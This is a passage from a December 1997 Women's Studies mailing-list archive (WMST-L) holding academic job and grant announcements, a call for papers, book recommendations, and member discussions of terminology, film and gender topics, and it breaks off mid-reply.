Center for Study of Gender & Sexuality (NYU) 2) $$: Gender Studies Small Grant Program (CEE/FSU) 3) Jobs: Counseling Psychology; English Dept Chair (Texas Woman's U) 4) Job: Asst/Assoc Prof of Education (U. of St. Thomas) For more information, please contact the people named in the announcements, not WMST-L or me. Joan Korenman (korenman@umbc2.umbc.edu) ************************************************************* 1) New York University invites applications for Director of its new Center for the study of gender and sexuality. Applicants should be distinguished scholars with proven leadership abilities in the fields of gender studies, gay and lesbian studies, or queer or feminist theory. We are interested in a full range of scholarship, including work focused on race, class, and cross-cultural or international perspectives. The Director's responsibilities will include founding the NYU Center for the study of gender and sexuality, overseeing existing academic programs, and recruiting additional faculty to build a major institution for scholarship, teaching, and intellectual creativity. Send letter of application, C.V., and names and addresses of three referees to Gender and Sexuality Search, Dean's Office, Faculty of Arts and Science, 6 Washington Square North, New York, NY 10003. The selection process will begin on February 15, 1998, but applications will be accepted until the position is filled. From: Mary Poovey **************************************************************** 2) Gender Studies Small Grant Program ****************Call for Grant proposals********************* The CEU Program on Gender and Culture Gender Studies Small Grant Program (GSGP) 1998 is now accepting proposals for grants up to 2,000 USD from regional groups, programs, and departments promoting women, women's studies, and gender studies in CEE/fSU ******Round I Application Deadline: JANUARY 15, 1998********* The GSGP has been established jointly by the Open Society Institute and the CEU Program on Gender and Culture to support gender initiatives in the countries of Central and Eastern Europe, and of the former Soviet Union. The program is based on the belief that small grants can often provide a vital and critical support for new and innovative programs. Eligibility **Institutes, centers, programs and departments actively involved in teaching, research or policy activities that are of importance to gender issues are welcome to apply for grants up to $2,000 to be completed in up to 12 months. Only institutions which are located in the region are eligible to participate in GSGP. **Requests may include, but are not limited to: support for conferences, seminars, workshops, curriculum development, acquisition of materials (e.g. books, journals, CD roms) and services (e.g. translations of manuscripts when publishing agreements are . concluded, research/librarian services when documentation is provided that such a person would make a substantial contribution to increasing access to gender oriented resources). . **The funding may also be used for equipment like photocopy machines, fax machines, modems and computer upgrades. . **First time applicants are welcome, please take care and effort to document your request in great detail. . **Applications from individuals, requests for individual travel support or for research will not be considered. . **Applicants will not be eligible to receive more than one grant within a given yearly cycle (see below --Deadlines). Application Procedures Each organisation applying to the GSGP should submit the following documentation in addition to the Applicant Information Form (available from gender@ceu.hu). All applications must be presented in English. **Two page proposal describing the objectives of the GSGP project and expected outcomes. **Detailed budget and narrative that clearly explains individual line items (no more than $2,000). . **A one page summary of the past activities of the group, program or department By post, applications and inquiries should be addressed to: The Program on Gender and Culture Gender Studies Small Grant Program (GSGP) Central European University 1051 Budapest Nador u. 9 Hungary Applications may also be faxed to: +36-1-327-3001 Or sent via e-mail to: ************************************************************************** 3) Texas Woman's University is a comprehensive public university primarily for women. A teaching and research institution, the university emphasizes the liberal arts and specialized or professional studies. TWU is accredited by the Commission on Colleges of the Southern Association of Colleges and Schools to award bachelor's, master's, and doctoral degrees. The university enrolls approximately 10,000 undergraduate and graduate students. The main 270-acre campus is located in Denton (pop. 66,900), approximately 35 miles north of the Dallas-Fort Worth metroplex. The TWU Institute of Health Sciences has centers in Dallas and Houston offering upper-level and graduate studies in allied health fields. Please visit TWU's Web page at www.twu.edu/. Tenure-Track Faculty positions for Spring and Fall 1998: College of Arts and Sciences: Assistant Professor-Counseling Psychologist: Requires Ph.D. from APA-accredited Counseling Psychology program and expertise in multicultural psychology, family psychology, or gender issues. Applicants should be able to integrate technology into teaching. Send letter of application, vita, 3 letters from current references, withnames, addresses and phone numbers to Dr. Linda Rubin, Dept. of Psychology and Philosophy, TWU, PO Box 425470, Denton, TX 76204-5470; (940) 898-2314. Review of applications will begin 1/12/98. Department Chair for English, Speech, and Foreign Languages: Candidates with demonstrated leadership and administrative experience in higher education and with a specialization in rhetoric are sought to lead the department which offers the B.A. degree in English and minors in speech, French, Spanish, an M.A. degree in English, and the Ph.D. in Rhetoric. Candidates must have a Ph.D. in English or Rhetoric and present a distinguished record of teaching, evidence of success integrating technology and pedagogy, with an interest in feminist and/or classical rhetoric, graduate teaching experience, and successful experience in academic administration, program development and external funding. For more information on the department please visit www.twu.edu/as/engspfl/. Send letter of application and vita to Dr. Joyce E. Williams, Chair of the Search Committee, TWU, PO Box 425887, Denton, TX 76204-5887. E-mail: f_williams@twu.edu. Review of applicants will begin 1/15/98. From: The Chronicle of Higher Education, December 19, 1997 ************************************************************************ 4) The University of St Thomas, in St. Paul, Minneapolis, founded in 1885, is a liberal arts, coeducational, comprehensive, Catholic university that emphasizes values-centered, career-oriented education. It is Minnesota's largest private college or university with over 10,000 students, approximately half at the graduate level. The university admits students of any race, color, creed, age, and national or ethnic origin. You are invited to join the faculty of the St. Thomas School of Education, which offers undergraduate. licensure. and graduate programs enrolling 400 undergraduate and 1200 graduate students. Candidates for all faculty positions should have the ability to work within a greater university community, with other departments within the School of Education, and with school district personnel and other practicing educators. Specific requirements for each position are listed below, and under ""Whats Happening"" on the university's School of Education Web sites: www.soe.stthomas.edu/websoew. All positions begin in Sept. '98. Salaries are competitive and include excellent flexible benefits package. Curriculum & Instruction - Assistant/Associate Professor The Department of Curriculum & Instruction invites applications for the full-time, tenure-track position of assistant/associate professor of education with a specialty in some aspects of critical pedagogy and curriculum & instruction. This position will provide leadership in the implementation of a newly created education specialist in curriculum & instruction and doctorate in critical pedagogy The following will guide the search committee in their selection; - Earned doctorate in education or related field with emphasis in critical pedagogy, critical practice, critical theory, curriculum & instruction, feminist perspectives, anti-racist education, diversity studies - Evidence of scholarly publication in refereed journals within the area of critical teaching and learning - Skill in diverse modes of inquiry and research - Ability to work productively and collegially with other faculty - Documented experience in the praxis of critical pedagogy, reflective practice, and/or critical theory - Demonstrated ability to integrate technology into teaching and learning - Experience with strategies for accommodating learners with disabilities in inclusive environments. The Department of Curriculum and Instruction consists of 5 full-time faculty and 10 adjunct faculty. Programs include Master of Arts in Reading, Master of Arts and Education Specialist in Curriculum & Instruction, and an Ed.D. in Critical Pedagogy. Programs are delivered by teams consisting of faculty and PK-12 practitioners who serve a student body of 300, both on and off campus. The search committees will begin reviewing applications beginning January 22 and will accept until positions are filed. Applicants should submit a letter of interest, a curriculum vitae, and names, addresses, phone/fax numbers, and e-mail addresses of three references. Direct applications to: Search Committee, School of Education Faculty; Department of Human Resources, Mail #AQU217; University of St. Thomas: 2115 Summit Avenue; St. Paul, Minnesota 55105. AA/EOE From: The Chronicle of Higher Education, December 19, 1997 ========================================================================= Date: Mon, 15 Dec 1997 20:31:00 CST Reply-To: Women's Studies List Sender: Women's Studies List From: Phyllis Holman Weisbard Subject: call for papers, re:Jewish women raised by Black maids, fwd I am forwarding this request from Judith Chalmer. Please reply to her directly at jchalmer@norwich.edu. Phyllis Holman Weisbard From: IN%""jchalmer@norwich.edu"" ""Judith Chalmer"" Subject: call for papers, please post I am interested in compiling an anthology of writing by Jewish women for whom being raised by Black maids has become a factor in their political awareness. My feeling is that this is an unspoken tension for a significant group of Jewish women, and, as all unspoken tensions are, a dangerously unspoken tension. I believe such a collection of thoughtfully composed pieces, in a variety of literary genres including non-fiction, poetry and fiction, would contribute to an appreciation of the complexities of race, gender and class which affect all American Jews and all Americans. I'm hoping you can help me find ways to solicit such writing. In particular I'm looking for recommendations to on-line newsgroups in which I could post an announcement, word of mouth announcements and print media in which I could place announcements. Please feel free to forward this message. The experience which I bring to this project includes my own personal life as a Jewish child in a holocaust survivor family who was brought up by a single, professional mother and the Black maids she employed, as well as a significant experience in dialogue among descendants of holocaust survivors and descendants of Nazi perpetrators. My current project has emerged in part from listening to the ways the Germans I met discussed ways they examine antisemitism. I am a teacher of creative writing and women's studies at New College of Norwich University. My previous publications include, most recently, a personal essay, ""Violent Legacies: Dialogues and Possibilities"" in which I explored the relevance of German-Jewish dialogue to the ways in which women and men also live with legacies of past and current violence. That essay was published this fall by Haworth Press in their anthology, CELEBRATING THE LIVES OF JEWISH WOMEN: PATTERNS IN A FEMINIST SAMPLER. In addition, my own volume of poems, OUT OF HISTORY'S JUNK JAR, was published in 1995 by Time Being Books. My play, ""Beasts,"" based on conversations with a woman who was active in the Dutch Resistance during World War II, was given a staged reading by Lost Nation Theater in Montpelier in 1996. I am currently engaged in a project to create a story-telling group for immigrants and refugees to Central Vermont. I would be happy to send a full resume upon request. Yours truly, Judith Chalmer 18 Summer Street, Montpelier, Vermont 05602 phone (802) 229-0432 e-mail: jchalmer@norwich.edu brief call: Seeking: non-fiction, fiction, poetry, written by Jewish women for whom having been raised by Black maids is a factor in developing political awareness. No nostalgia. For anthology. Deadline: June 30, 1998. Write for guidelines: J. Chalmer, c/o New College, Vermont College, Montpelier, VT 05602. ========================================================================= Date: Tue, 16 Dec 1997 09:09:07 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: The Fawcett Library Subject: Re: bias-free language suggestions needed MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Mon, 15 Dec 1997 09:17:08 -0600 Traci Kelly wrote: > What's a good bias-free substitute for ""freshman"" besides ""first-year > student"" ? > Maybe useful for the list: in Britain the usual term is ""fresher"". Anyway, what happened to good ol' all-American ""frosh""? Or is that too dated / slang? David Doughan, Reference Librarian The Fawcett Library London Guildhall University Old Castle Street London E1 7NT Phone: 0171 320 1189 Fax: 0171 320 1188 e-mail: fawcett@lgu.ac.uk Website: http://www.lgu.ac.uk/phil/fawcett.htm ========================================================================= Date: Tue, 16 Dec 1997 10:21:39 +0100 Reply-To: Women's Studies List Sender: Women's Studies List From: Judith Ezekiel Subject: Women's Studies around the world Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable =46lorence Howe forgot to add two special issues of _Women's Studies Quarterly_ on Women's Studies around the world. _Women's Studies Quarterly_ 20;3-4 (Winter 1992) _Women's Studies Quarterly_ 22;3-4 (Fall-Winter 1994) =46or Europe, Women's Studies International Europe (WISE) has just updated its _European Women's Studies Guide_ , Utrecht: WISE, 1997. It has short articles on the history of Women's Studies in 32 countries and hundreds of addresses. It costs 35 Dutch Guilders. Wise has a web page: http://hgins.uia.ac.be/women/wise/ If you speak French, the French Women's Studies national association (ANEF) has published a brochure on the history of Women's Studies, which is also a part of an anthology: =46ran=E7oise Duroux, Judith Ezekiel, Michele Ferrand, Annik Houel, Michele Kail, Liliane Kandel, and Fran=E7oise Picq, ""Etudes feministes et etudes sur les femmes en France en 1995"". In _La Place des femmes : Les Enjeux de l'identite et de l'egalite au regard des sciences sociales_, Paris: La Decouverte, 1995, 689-710. or, Fran=E7oise Duroux et al, ""Etudes feministes et etudes sur les femmes e= n =46rance en 1995"" _Etudes Feministes_ 18, Supplement to issue 18 (summer 1995) It is available from the ANEF for 30 or 40 francs. You can contact Nicole Decure (decure@cict.fr) or write to ANEF 34 Rue Du Professeur Martin 31500 Toulouse Various projects linked to the European Union have also published documents. I don't have the references handy, but I can get them if anyone's interested. Regards Judith Ezekiel ************ ezekiel@univ-paris12.fr ========================================================================= Date: Mon, 15 Dec 1997 23:58:35 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: liora moriel Subject: Re: bias-free language suggestions needed In-Reply-To: <349549f82044002@mhub0.tc.umn.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Since I had asked this question two years ago, let me share the info received at the time: Most preferrred ""incoming student"" instead of freshman BUT since not all freshmen are incoming students (transfers, PT etc.) the name offered was ""frosh"" or the British ""fresher"" OR ""first-year student."" I mix and match... Liora Moriel Comparative Literature Program University of Maryland 2107 Susquehanna Hall College Park, MD 20742-8825 lioram@wam.umd.edu ""We have cooperated for a very long time in the maintenance of our own invisibility. And now the party is over."" - Vito Russo ========================================================================= Date: Tue, 16 Dec 1997 09:51:21 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: ""DRA. Pattatucci"" Subject: Re: Music and Gender MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Content-transfer-encoding: 7bit Thank you for the information and discussion surrounding music & gender. I assumed that such an interesting topic could not have gone unnoticed (*smile*). However, I suspect that the male side of the issue has not been explored in the same depth by the feminist/women's studies community, and I believe that there is much to be learned from investigating this area as well. I think that it is interesting that the blues community has been far more accepting and supportive of homosexuality and alternative gender expression (long before Stonewall) than the mainstream music community, and society at large. This is particularly fascinating, given what has been written about mainstream black community attitudes toward homosexuality. In the interview to which I originally referred, Ruth Brown, indicated that Little Richard had worshiped her -- tried to sound like her, right down to trying to look like her. Yet he wasn't merely Ruth Brown in drag. Rather, he took Ruth Brown in a direction that she never would have gone herself. There used to be a very popular blues club in Chicago called the ""Burning Spear"", owned and operated by Pervis Spann ""the blues man"", who was also a disc jockey for WVON radio, and the brother of blues great, Otis Spann. As young teenagers, my friends and I regularly ""snuck"" (with Mr. Spann's Knowledge) into this club, which featured all of the popular blues artists of the time. One of the local artists, Wilbur ""Hi-Fi"" White, would periodically appear on stage wearing a dress and make-up. However, rather than being conceptualized by the audience as drag or female impersonation, it was simply Wilbur ""Hi-Fi"" White being himself, decidedly male, proudly gay (before it was popular to be so). On a visit to San Francisco a couple of years ago, a group of friends took me out to one of the new wave, gender-bending night spots that they described as ""cutting edge"". What? I found very little innovative about it at all (*smile*). These individuals obviously knew nothing about the Chicago Blues scene, which by the way, was also connected fairly strongly to the gay male ""Ball"" scene. Much of what I saw in this San Francisco club, I had seen 30 years before at the Burning Spear! Dra. Angela Pattatucci Universidad de Puerto Rico a_pattatucci@upr1.upr.clu.edu ========================================================================= Date: Tue, 16 Dec 1997 08:26:53 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Women's Presses Library Project, Mev Miller"" Subject: Re: g/l history Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" >From the Women's Presses Library Project: The Cancer Journals: Special Edition Audre Lorde Aunt Lute Books This special edition (1997) of the classic book that supports women's dignity in the face of breast cancer contains sixteen pages of vibrant photographs of the author. 1983 1-879960-51-6 C $12.95 112pp. Her: A Novel Cherry Muhanji Aunt Lute Books This is a novel about Detroit in the late fifties and sixties and the Black men and women who came North to work in the Ford motor plant. Some lesbian content. 1991 1-879960-03-6 C $19.95 220pp. 1991 1-879960-02-8 P $9.95 220pp. These titles should be available at your local feminist or independent bookstore. If you have trouble locating them, please contact me. Mev >Seasons greetings everyone, I am posting this for a friend who does not have >access to the list. He is looking for texts to use in a course on the >history of African-American gay men and/or lesbians in the 19th or early >20th century. WOMEN'S PRESSES LIBRARY PROJECT ""...keeping women's words in circulation"" Mev Miller Project Coodinator 1483 Laurel Ave. St. Paul, MN 55104-6737 612-646-0097 612-646-1153 (fax) wplp@winternet.com ========================================================================= Date: Tue, 16 Dec 1997 08:27:50 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Women's Presses Library Project, Mev Miller"" Subject: Re: Seeking suggestions for a novel Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable >I am seeking ideas for novels written by women who live outside the U.S. >and who address issues of race, ethnicity, class, and/or sexual >identity--in addition to gender--in their work. =46rom the Women's Presses Library Project: Aurat Durbar: Writings by Women of South Asian Origin =46auzia Rafiq, editor Second Story Press (The are mostly writers from Canada) 1995 0-929005-70-8 P $14.95 240pp. Cantando Bajito, Singing Softly Carmen de Monteflores Aunt Lute Books This is a novel redolent with smells and tastes, the touch of earth and sea, the sounds of birds, and the voices of Puerto Rican women. 1989 0-933216-65-3 C $18.95 208pp. 1989 0-933216-62-9 P $8.95 208pp. Cereus Blooms at Night: A Novel Shani Mootoo Press Gang Publishers Part magic realism, this is a haunting tale of obsession, love, and treachery. (Asian-Canadian and lesbian) 1996 0-88974-064-X P $15.95 264pp. Cowrie Cathie Dunsford Spinifex Press Explores the nature of identity on personal, cultural and global levels. (Australian and aboriginal in origin) 1994 1-875559-28-0 P $12.95 123pp. =46eminist Fables Suniti Namjoshi Spinifex Press Ingenious reworking of fairy tales, mixing Greek and Sanskrit mythology with original material. 1993 1-875559-19-1 P $12.95 132pp. Ginseng & Other Tales from Manila Marianne Villanueva CALYX Books Set in the Philippines, these beautiful and poignant stories reveal characters trapped in extremity in urban violence or the crushing poverty of the provinces. 1991 0-934971-20-X C $19.95 120pp. 1991 0-934971-19-6 P $9.95 120pp. Junglee Girl Ginu Kamani Aunt Lute Books With a title meaning ""wild and uncontrollable woman,"" these stories explore the tensions between female sexual desire and social constraint. These stories are set in India and explore issues of class, caste,and sexuality. (Kamani, raised in India, now lives in california.) 1995 1-879960-41-9 C $19.95 208pp. 1995 1-879960-40-0 P $9.95 208pp. Light in the Crevice Never Seen Haunani-Kay Trask CALYX Books Poetry by an indigenous Hawaiian reflecting on a woman's love for her land and the rage that comes from its destruction. (Note: this writing is from the perspective of an indigenous person who'se land is being destroyed by colonizers. Her perspective is not as an ""American."") 1994 0-934971-38-2 C $21.95 128pp. 1994 0-934971-37-4 P $11.95 128pp. Maidenhome Ding Xiaoqi Aunt Lute Books These stories by one of China's most controversial writers explore the lot of modern Chinese women. Finding herself under increasing pressure from Chinese authorities, Ding Xiaoqi felt obliged after the Tiananmen Squre massacre to leave her country and immigrate to Australia. This is the first collection of Ding's stories available in English. 1994 1-879960-36-2 P $9.95 224pp. The Middle Children Rayda Jacobs Second Story Press Combines fiction and autobiography to focus on mixed race South Africans in their struggle for identity. 1994 0-929005-59-7 P $12.95 168pp. Reclaiming Medusa: Short Stories by Contemporary Puerto Rican Women New Edition in 1997 Diane V=E9lez [Editor and Translator] Aunt Lute Books (Some or the writers in this collection live in the US while others live in Puerto Rico) 1988 1-879960-52-4 P $9.95 161pp. Sitt Marie Rose: 4th Edition Etel Adnan Post-Apollo Press The story of a woman abducted by militiamen during the Civil War in Lebanon, and executed. 1978 0-942996-18-6 P $11.00 105pp. The Tree and the Vine Dola de Jong The Feminist Press at CUNY A gripping story of an unusual relationship between two women struggling against fascism, anti-semitism, and homophobia as the Nazis are about to occupy the Netherlands during the late 1930s. 1996 1-55861-140-1 C $27.50 152pp. 1996 1-55861-141-X P $9.95 152pp. The Two Mujeres Sara Levi Calder=F3n Aunt Lute Books This love story between two Mexican Jewish women has been both scandalous and celebrated since its first publication. 1991 1-879960-01-X C $19.95 204pp. 1991 1-879960-00-1 P $9.95 204pp. When Fox Is a Thousand: A Novel Larissa Lai Press Gang Publishers Draws on Chinese folk mythology to mix fact and fiction to tell the story of 20-something Artemis Wong. (Chinese-Canadian) 1995 0-88974-041-0 P $13.95 216pp. These titles should be available at your local feminist or independent bookstore. If you have trouble locating them, please contact me. Mev WOMEN'S PRESSES LIBRARY PROJECT ""...keeping women's words in circulation"" Mev Miller Project Coodinator 1483 Laurel Ave. St. Paul, MN 55104-6737 612-646-0097 612-646-1153 (fax) wplp@winternet.com ========================================================================= Date: Tue, 16 Dec 1997 09:55:31 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: S Young Subject: Results--electronic serials Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Dear Listmembers: > >Thanks to all who responded to my queries for suggestions about which 18th and 19th-century serials to convert to an electronic format. I am pleased to announce that Scholarly Resources and Accessible Archives are teaming up to add the following serials to the Accessible Archives electronic database, available online and on CD-ROM, in the following order: > >Godey's Lady's Book -- Avail. Fall 1998 >New York Tribune (Weekly) -- Avail. Fall 1998 >Frank Leslie's Illustrated Newspaper >The Nation >The Liberator >New York Herald >Niles Register >The Forerunner > >Of course Accessible Archives will continue to add 19th-century African-American newspapers, such as _The Christian Recorder_, to its database entitled ""African-American Newspapers: The Nineteenth Century."" > >Please note that many of the titles you suggested are already being made available by the ""Making of America Project"" at the University of Michigan and Cornell. We will not duplicate their efforts. > >Once again I thank you for your feedback on this exciting project. > Sheryl Young Acquisitions Editor * Scholarly Resources 104 Greenhill Avenue * Wilmington, DE 19805-1897 syoung@scholarly.com * 302-654-7713 302-654-3871 FAX * 1-800-772-8937 ========================================================================= Date: Tue, 16 Dec 1997 09:15:33 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Debra Kirkley Subject: Re: course: growing up female MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit I used a bit of Mary Pipher's work this semester in a large (90+ students) course on families. I showed a video (from C-SPAN) of Pipher addressing a group on ""teenage girls and the media"". The video illustrates nicely the perspective from which she comes. It demonstrates her considerable skill as a storyteller and also reveals her biases. The video generated a lot of discussion (more than I thought it would) as my students were not familiar with her work and were excited to talk about it. The video is available from C-SPAN ($19.95 ?) . If you go to their web-site you can actually listen to it before buying it. -debra- ************************************************************ Debra Kirkley, MEd, RNC Assistant Clinical Professor Texas Woman's University, College of Nursing Dallas, TX 75235 dkirkley@twu.edu Doctoral Candidate, University of North Texas iy52@jove.acs.unt.edu -----Original Message----- From: Vanessa Jo Van Ornam To: WMST-L@UMDD.UMD.EDU Date: Monday, December 15, 1997 1:26 PM Subject: course: growing up female >I'm teaching a course in the spring for the Women's Studies program called >""Growing Up Female"". >...Gilligan and Brown's (?) Meeting at the Crossroads and Mary Pipher's >Reviving Ophelia. Since my background is in literature, however, I'm >wondering what on earth I can do with the last two texts, which are mostly >case studies. Has anyone else worked with these or something like them? >What did you do? How did students respond to them? Are there any >pitfalls I should know about or particular excerpts you'd recommend? > >Vanessa Van Ornam >vjvanorn@artsci.wustl.edu > ========================================================================= Date: Tue, 16 Dec 1997 10:36:27 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: jeannie ludlow Subject: ""lesbian"" rape In-Reply-To: <3.0.1.32.19971215181720.00734d74@shrike.depaul.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I don't mean to start anything, here, but I am concerned about the use of the term ""lesbian"" to name all female same-sex rapes. The original post asked for examples of ""rapes of lesbians by lesbians."" This, I think, might be a different category (with overlap, naturally) than same-sex rape in a prison or even a hospital setting. I don't know if this applies in women's prisons or not, but in the men's prisons I have taught for, there seems to be a distinction drawn between ""gay"" or ""homosexual"" men and men who are using sex with other men for some power-related reasons. Another example of the possible differences between same-sex rape and homosexual/gay/lesbian rape might be the rape of male children by self-identified heterosexual adult men. I am not suggesting that the rape of lesbians by lesbians never happens; I am, however, quite uncomfortable with the blending of this category with other situations. Take care, everyone, Jeannie __________________________________________________________________________ . . . Thus wrote ) Jeannie Ludlow ( ""Lord, you know me, a woman, partly brave / ) jludlow@bgnet.bgsu.edu ( I'm liable to say and partly good, ) Women's Studies ( anything; so if who fought with what / ) Popular Culture ( I've offended she partly understood ) Bowling Green SU ( anybody, well hence she was labelled / ) Bowling Green OH 43403 ( . . . tough."" harpy, shrew and whore ) ( --Dolly Parton --Adrienne Rich ) ( ========================================================================= Date: Tue, 16 Dec 1997 10:57:51 -0500 Reply-To: ""jgrant@tui.edu"" Sender: Women's Studies List From: Jaime Grant Organization: The Union Institute Subject: Re: ""lesbian"" rape THANK YOU, Jeannie. J. -----Original Message----- From: jeannie ludlow [SMTP:jludlow@BGNET.BGSU.EDU] Sent: Tuesday, December 16, 1997 10:36 AM To: WMST-L@UMDD.UMD.EDU Subject: ""lesbian"" rape I don't mean to start anything, here, but I am concerned about the use of the term ""lesbian"" to name all female same-sex rapes. The original post asked for examples of ""rapes of lesbians by lesbians."" This, I think, might be a different category (with overlap, naturally) than same-sex rape in a prison or even a hospital setting. I don't know if this applies in women's prisons or not, but in the men's prisons I have taught for, there seems to be a distinction drawn between ""gay"" or ""homosexual"" men and men who are using sex with other men for some power-related reasons. Another example of the possible differences between same-sex rape and homosexual/gay/lesbian rape might be the rape of male children by self-identified heterosexual adult men. I am not suggesting that the rape of lesbians by lesbians never happens; I am, however, quite uncomfortable with the blending of this category with other situations. Take care, everyone, Jeannie __________________________________________________________________________ . . . Thus wrote ) Jeannie Ludlow ( ""Lord, you know me, a woman, partly brave / ) jludlow@bgnet.bgsu.edu ( I'm liable to say and partly good, ) Women's Studies ( anything; so if who fought with what / ) Popular Culture ( I've offended she partly understood ) Bowling Green SU ( anybody, well hence she was labelled / ) Bowling Green OH 43403 ( . . . tough."" harpy, shrew and whore ) ( --Dolly Parton --Adrienne Rich ) ( ========================================================================= Date: Tue, 16 Dec 1997 13:48:31 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joyce Altobelli Subject: name that movie... MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi everyone -- I'm trying to think of the name of the movie that came out a year or two ago, foreign language film, a sort of cynical follow-up to ""A Question of Silence"" (by the same film maker), about a woman who returns, with her adult daughter, to her home village just as her mother is dying. I say it is a cynical follow-up because the woman who made the both films said that the second one was basically an expression of her giving up on the possibility of radical change. So, can anybody out there name that movie? I'm trying to give the title to someone else to possibly include in a course, and it is driving me nuts. Thanks for any help! Joyce Altobelli Cornell University jga2@cornell.edu ========================================================================= Date: Tue, 16 Dec 1997 11:51:25 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Candace Rypisi Subject: Re: name that movie... Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Antonia's Line! Candace Rypisi crypisi@ceao.sacc.colostate.edu At 01:48 PM 12/16/97 -0500, you wrote: >Hi everyone -- I'm trying to think of the name of the movie that came out >a year or two ago, foreign language film, a sort of cynical follow-up to >""A Question of Silence"" (by the same film maker), about a woman who >returns, with her adult daughter, to her home village just as her mother >is dying. I say it is a cynical follow-up because the woman who made the >both films said that the second one was basically an expression of her >giving up on the possibility of radical change. > >So, can anybody out there name that movie? I'm trying to give the title >to someone else to possibly include in a course, and it is driving me nuts. > >Thanks for any help! > >Joyce Altobelli >Cornell University >jga2@cornell.edu > > ========================================================================= Date: Tue, 16 Dec 1997 12:57:14 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Julie K Daniels Subject: Re: bias-free language suggestions needed In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On a composition teachers' list I read, freshmen are routinely referred to as ""freshlings."" I'm not yet sure if this term is an endearment (!) that the teachers use with each other in a closed discussion (such as the list) or one they use with the first-year students themselves. --Julie > > What's a good bias-free > substitute for ""freshman"" besides ""first-year > > student"" ? > > > Maybe useful for the list: in Britain the usual term is > ""fresher"". > > Anyway, what happened to good ol' all-American ""frosh""? Or > is that too dated / slang? > > David Doughan, Reference Librarian > > The Fawcett Library > London Guildhall University > Old Castle Street > London E1 7NT > > Phone: 0171 320 1189 > Fax: 0171 320 1188 > e-mail: fawcett@lgu.ac.uk > Website: http://www.lgu.ac.uk/phil/fawcett.htm > ========================================================================= Date: Tue, 16 Dec 1997 14:07:53 -0500 Reply-To: ""jgrant@tui.edu"" Sender: Women's Studies List From: Jaime Grant Organization: The Union Institute Subject: Re: name that movie... I think you're talking about Antonia's Line - but I didn't read it as cynical. -----Original Message----- From: Joyce Altobelli [SMTP:jga2@CORNELL.EDU] Sent: Tuesday, December 16, 1997 1:49 PM To: WMST-L@UMDD.UMD.EDU Subject: name that movie... Hi everyone -- I'm trying to think of the name of the movie that came out a year or two ago, foreign language film, a sort of cynical follow-up to ""A Question of Silence"" (by the same film maker), about a woman who returns, with her adult daughter, to her home village just as her mother is dying. I say it is a cynical follow-up because the woman who made the both films said that the second one was basically an expression of her giving up on the possibility of radical change. So, can anybody out there name that movie? I'm trying to give the title to someone else to possibly include in a course, and it is driving me nuts. Thanks for any help! Joyce Altobelli Cornell University jga2@cornell.edu ========================================================================= Date: Tue, 16 Dec 1997 12:48:50 CST Reply-To: Women's Studies List Sender: Women's Studies List From: Heidi Hamilton x???? Organization: Augustana College - Rock Island IL Subject: Re: name that movie... Sounds like Antonia's Line. Heidi Hamilton Augustana College ========================================================================= Date: Tue, 16 Dec 1997 14:37:35 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joyce Altobelli Subject: Re: name that movie... In-Reply-To: <20E6E3C8B@AUGUSTANA.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hello Heidi and everyone else -- thanks for all the quick replies! Yes, Antonia's Line is the name of the movie. Joyce Altobelli Cornell University jga2@cornell.edu On Tue, 16 Dec 1997, Heidi Hamilton x???? wrote: > Sounds like Antonia's Line. > > Heidi Hamilton > Augustana College > ========================================================================= Date: Tue, 16 Dec 1997 11:57:03 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: kearney Subject: Query: History of Women's Studies In-Reply-To: <199712160515.VAA05196@scf-fs.usc.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Katherine Side mentioned an article by Mary Evans on the ""women's studies""/""gender studies"" debate. For those who might be interested, here's the info: Mary Evans ""The Problem of Gender for Women's Studies"" _Out of the Margins: Women's Studies in the Nineties"" eds. Jane Aaron and Sylvia Walby London: Falmer Press, 1991 pp. 67-74 Mary Kearney Univ. of Southern California kearney@usc.edu ========================================================================= Date: Tue, 16 Dec 1997 15:06:46 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Amelia Carr Subject: Re: name that movie... Content-Type: text/plain Mime-Version: 1.0 (NeXT Mail 3.3 v118.2) For questions like ""name that movie"", a useful reference is the Internet Movie Databse (IMDb) http://us.imdb.com/ A quick search on the title "":Question of Silence"" takes you to a page on the film, plus links to the directors, then to the filmography, or the actors, producers, etc. Amelia Carr Allegheny College acarr@alleg.edu ========================================================================= Date: Tue, 16 Dec 1997 16:02:44 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: DAPHNE PATAI Subject: Re: ""lesbian"" rape Comments: cc: DAPHNE PATAI In-Reply-To: MIME-version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit Jeannie, I wonder if you'd mind clarifying something. you wrote: > > I don't know if this applies in women's prisons or not, but in the men's > prisons I have taught for, there seems to be a distinction drawn between > ""gay"" or ""homosexual"" men and men who are using sex with other men for > some power-related reasons. Perhaps I'm misreading you, but in the above lines there seems to 